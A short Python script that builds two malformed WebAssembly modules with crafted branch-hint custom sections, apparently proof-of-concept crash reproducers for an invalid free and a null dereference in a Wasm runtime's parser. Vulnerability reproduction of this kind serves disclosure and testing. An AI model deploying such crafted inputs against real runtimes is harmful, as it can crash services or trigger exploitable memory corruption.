create_samples.py 1.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748
  1. from pathlib import Path
  2. def u32leb(n):
  3. out = bytearray()
  4. while True:
  5. b = n & 0x7f
  6. n >>= 7
  7. if n:
  8. b |= 0x80
  9. out.append(b)
  10. if not n:
  11. break
  12. return bytes(out)
  13. name = b"metadata.code.branch_hint"
  14. assert len(name) == 25
  15. def build_module(payload_tail, out_path):
  16. payload = b"".join([
  17. u32leb(len(name)),
  18. name,
  19. payload_tail
  20. ])
  21. custom_section = b"\x00" + u32leb(len(payload)) + payload
  22. payload_type = u32leb(1) + b"\x60" + u32leb(0) + u32leb(0)
  23. sec_type = b"\x01" + u32leb(len(payload_type)) + payload_type
  24. payload_func = u32leb(1) + u32leb(0)
  25. sec_func = b"\x03" + u32leb(len(payload_func)) + payload_func
  26. body = u32leb(0) + b"\x0b"
  27. payload_code = u32leb(1) + u32leb(len(body)) + body
  28. sec_code = b"\x0a" + u32leb(len(payload_code)) + payload_code
  29. module = b"\x00asm" + b"\x01\x00\x00\x00" + sec_type + sec_func + sec_code + custom_section
  30. Path(out_path).write_bytes(module)
  31. payload_invalid_free = b"".join([
  32. b"\x01", # numFunctionHints
  33. b"\x00", # func_idx
  34. b"\x02", # num_hints
  35. b"\x00", # hint0 offset
  36. b"\x01", # hint0 size
  37. b"\x00", # hint0 data
  38. b"\x00", # hint1 offset
  39. b"\x02", # hint1 size (invalid)
  40. ])
  41. build_module(payload_invalid_free, "branch_hint_invalid_free.wasm")
  42. payload_dos = b"".join([
  43. b"\x01",
  44. b"\x00",
  45. b"\xff\xff\xff\xff\x0f",
  46. ])
  47. build_module(payload_dos, "branch_hint_null_deref.wasm")